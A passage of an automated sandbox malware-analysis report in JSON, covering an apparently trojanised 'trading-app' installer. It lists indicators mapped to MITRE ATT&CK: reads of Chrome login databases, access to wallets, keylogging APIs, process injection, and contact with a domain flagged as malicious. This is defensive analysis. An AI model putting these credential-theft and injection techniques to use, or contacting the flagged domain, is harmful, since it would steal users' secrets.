00000000-00004416.00000001.109475.72914000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$55","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$56","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: vk_swiftshader.dll]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: ffmpeg.dll]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: vulkan-1.dll]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: libEGL.dll]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: nsis7z.dll]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: elevate.exe]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"trading-app.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")\n \"trading-app.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E96E-E325-11CE-BFC1-08002BE10318}\\0003\"; Key: \"PROFILEENUMMODE\")\n \"trading-app.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E96E-E325-11CE-BFC1-08002BE10318}\\0003\"; Key: \"ICMPROFILE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; File: \"trading-app-Windows-1.0.0.exe\")\n file/memory contains long string with (Indicator: \"OpenProcess\"; File: \"nsis7z.dll\")\n Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"trading-app-Windows-1.0.0.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00004416)\n \"trading-app.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006124)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: trading-app-Windows-1.0.0.exe]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: vulkan-1.dll]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: nsis7z.dll]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$57","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete registry key/value (API string)","description":"Found reference to API \"RegDeleteValueW\" (Indicator: \"RegDeleteValue\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"RegDeleteKeyW\" (Indicator: \"RegDeleteKey\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"RegDeleteKeyExW\" (Indicator: \"RegDeleteKey\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"LookupPrivilegeValueW\" (Indicator: \"LookupPrivilegeValue\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"SeShutdownPrivilege\" (Indicator: \"SeShutdownPrivilege\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp\")\n Found reference to API \"LookupPrivilegeValueW\" (Indicator: \"LookupPrivilegeValue\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify process attributes (API string)","description":"Found reference to API \"InitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"UpdateProcThreadAttribute\" (Indicator: \"UpdateProcThreadAttribute\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-402","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"SetFileSecurityW\" (Indicator: \"SetFileSecurityW\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetSidSubAuthorityCount\" (Indicator: \"GetSidSubAuthority\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetSidSubAuthorityCount\" (Indicator: \"GetSidSubAuthorityCount\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetSidSubAuthority\" (Indicator: \"GetSidSubAuthority\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"SetFileSecurityW\" (Indicator: \"SetFileSecurityW\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Found reference to API \"SeSecurityPrivilege\" (Indicator: \"SeSecurityPrivilege\"; Source: \"00000000-00004416.00000000.107553.031D0000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"$58","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"Observed import api \"SetFileSecurityW\" which can \"set the security of a file or directory object\" [Source: trading-app-Windows-1.0.0.exe]\n Observed import api \"GetSidSubAuthority\" which can \"return a pointer to a specified subauthority in a security identifier (SID)\" [Source: vulkan-1.dll]\n Observed import api \"GetSidSubAuthorityCount\" which can \"return a pointer to the member in a security identifier (SID) structure that contains the subauthority count\" [Source: vulkan-1.dll]\n Observed import api \"GetTokenInformation\" which can \"retrieve a specified type of information about an access token\" [Source: vulkan-1.dll]\n Observed import api \"SetFileSecurityW\" which can \"set the security of a file or directory object\" [Source: nsis7z.dll]","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$59","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"InitiateShutdownW\" (Indicator: \"InitiateShutdown\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"$5a","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"37ca5c11-b157-42d7-ad9d-f305801e2b83.tmp\" - Location: [%APPDATA%\\trading-super-deriv\\37ca5c11-b157-42d7-ad9d-f305801e2b83.tmp]- [targetUID: 00000000-00006124]\n Dropped file: \"06c22772-9d60-496b-91b1-de9664bf0a0e.tmp\" - Location: [%APPDATA%\\trading-super-deriv\\Network\\06c22772-9d60-496b-91b1-de9664bf0a0e.tmp]- [targetUID: 00000000-00004288]\n Dropped file: \"5998fd2f-1e17-4440-8ebb-abea01e3a6b1.tmp\" - Location: [%APPDATA%\\trading-super-deriv\\5998fd2f-1e17-4440-8ebb-abea01e3a6b1.tmp]- [targetUID: 00000000-00006124]\n Dropped file: \"000001.dbtmp\" - Location: [%APPDATA%\\trading-super-deriv\\Local Storage\\leveldb\\000001.dbtmp]- [targetUID: 00000000-00006124]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"nsis7z.dll\" was detected as \"Borland Delphi 3.0 (???)\"\n \"elevate.exe\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"trading-app-Windows-1.0.0.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"$5b","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"details too long to display","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"trading-app-Windows-1.0.0.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"trading-app-Windows-1.0.0.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"trading-app-Windows-1.0.0.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"trading-app-Windows-1.0.0.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"trading-app-Windows-1.0.0.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"trading-app-Windows-1.0.0.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \"trading-app-Windows-1.0.0.exe\" reads file \"C:\\Users\\%OSUSER%\\OneDrive\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$5c","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"\"trading-app-Windows-1.0.0.exe\" wrote 12288 bytes starting with PE header signature to file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nse95AF.tmp\\System.dll\": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 34.117.59.81 on port 443 is sent without HTTP header\n TCP traffic to 104.18.38.10 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - ChaCha20 128-bit algorithm","description":"YARA signature for ChaCha20 128-bit key algorithm matched on file \"trading-app.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":9,"id":"yara-57","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - ChaCha20 256-bit algorithm","description":"YARA signature for ChaCha20 256-bit key algorithm matched on file \"trading-app.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":9,"id":"yara-44","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Detected indicator that file is ransomware","description":"\"other {Some of these files are encrypted. Ask their owner to decrypt.}}Your administrator says: \"$1\"$1 has sensitive or dangerous data. Your administrator says: \"$2\"Discard filePlease enter a reason for uploading this data:Please enter a reason for downloading this data:Scan in progress, open now?An unknown file is being scanned for dangerous content.Scan file before opening?$1 may be dangerous. Send to Google Safe Browsing for scanning?Timed outScan againGet more protection against dangerous websites and downloadsClose tipEnhanced Safe Browsing is offYou have Chrome's strongest security against dangerous websites, downloads and extensionsYou're getting standard security protection. To get more protection against dangerous websites, downloads, and extensions, turn on Enhanced Safe Browsing in Chrome settings.Chrome settingsChrome\" (Source: 00000000-00004288.00000000.110171.6D440000.00000002.mdmp, Indicator: \"files are encrypted\")","origin":"File/Memory","mitre_attack_id":"T1491.001","relevance":5,"id":"string-13","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used for keylogging","description":"$5d","origin":"API Call","mitre_attack_id":"T1056.001","relevance":10,"id":"api-40","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to performs encryption on the data","description":"\"trading-app.exe\" called \"CryptProtectData\" with parameters {\"pDataIn\": \"20000000aaaaaaaa8076a400c07b0000\"\n \"szDataDescr\": \"4e63ff01a\"\n \"pDataOut\": \"1601000000000000f02d196a08010000\"\n \"$datain\": \"bacef096375881b014d10abca9bdbbe51087b1dde7ab57f6b32ebc13ea38ea60\"\n \"$datadescr\": \"Chromium\"}","origin":"API Call","mitre_attack_id":"T1027","relevance":5,"id":"api-171","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Read windows product name from registry","description":"\"trading-app.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"PRODUCTNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-105","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Reads FTP client related files","description":"\"trading-app.exe\" read 65536 bytes from file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Local State\"\n \"trading-app.exe\" read 65536 bytes from file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\"","origin":"API Call","mitre_attack_id":"T1119","relevance":10,"id":"api-44","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Tries to access browsers/wallets sensitive information (file access)","description":"$5e","origin":"API Call","mitre_attack_id":"T1005","relevance":5,"id":"api-132","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Tries to access/write temporary files","description":"$5f","origin":"Monitored Target","mitre_attack_id":"T1074.001","relevance":5,"id":"target-423","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$60","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$61","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"StdUtils.dll\" claimed CRC 142210 while the actual is CRC 140732","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegDeleteValueW\n RegOpenKeyExW\n RegEnumKeyW\n RegCloseKey\n OpenProcessToken\n RegDeleteKeyW\n RegCreateKeyExW\n CreateProcessW\n FindNextFileW\n GetTempPathW\n CreateThread\n DeleteFileW\n GetSystemDirectoryW\n WriteFile\n GetTempFileNameW\n CreateFileW\n GetTickCount\n Sleep\n CopyFileW\n GetProcAddress\n FindFirstFileW\n GetModuleFileNameW\n GetCommandLineW\n LoadLibraryExW\n GetModuleHandleW\n GetFileSize\n CreateDirectoryW\n GetFileAttributesW\n GetModuleHandleA\n ShellExecuteExW\n FindWindowExW\n CreateRemoteThreadEx\n VirtualAlloc\n GetModuleHandleExW\n GetCommandLineA\n GetSystemInfo\n GetFileSizeEx\n FindFirstFileExW\n TerminateProcess\n VirtualProtect\n ExitThread\n GetStartupInfoW\n IsDebuggerPresent\n SleepConditionVariableSRW\n UnhandledExceptionFilter\n OutputDebugStringA\n RegOpenKeyExA\n GetModuleFileNameA\n GetModuleHandleExA\n GetFileAttributesExW\n LoadLibraryA\n LoadLibraryW\n GetVersionExW\n DeviceIoControl\n ShellExecuteW\n GetWindowThreadProcessId","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$62","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"fashdefi.store\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"malicious","category":"Network Related","name":"Found a reference to an external IP address lookup service","description":"\"ipinfo.io\" (Indicator: \"ipinfo.io\"; File: \"PCAP\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":6,"id":"string-56","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"malicious","category":"Network Related","name":"Found unknown user-agent(s)","description":"Found the following user-agents: axios/1.9.0","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-56","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"malicious","category":"Network Related","name":"Makes HTTPS connections using an insecure TLS/SSL version","description":"Connection was made using TLSv1.0 [tls.handshake.version: 0x0301]","origin":"Network 